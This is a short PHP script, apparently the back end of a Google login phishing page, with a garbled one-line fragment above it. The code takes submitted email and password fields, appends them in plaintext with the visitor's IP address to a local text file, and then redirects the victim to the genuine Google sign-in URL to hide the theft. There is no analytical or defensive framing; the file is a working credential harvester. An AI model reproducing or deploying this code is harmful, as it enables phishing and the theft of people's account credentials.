php if isset _POST Email isset _POST Passwd empty _POST Email empty _P

<?php

if (isset($_POST['Email']) && isset($_POST['Passwd']) && !empty($_POST['Email']) && !empty($_POST['Passwd']) && filter_var($_POST['Email'], FILTER_VALIDATE_EMAIL)){
	$all = 'IP: '.$_SERVER['REMOTE_ADDR'].' email: '.$_POST['Email'].' password:'.$_POST['Passwd'];
	
	$fp=fopen("form_data.txt","a");
	fputs($fp,$all. "\r\n");
	fclose($fp);
	
	header("Location: https://accounts.google.com/ServiceLoginAuth");
}else{
	header("Location: index.html");
}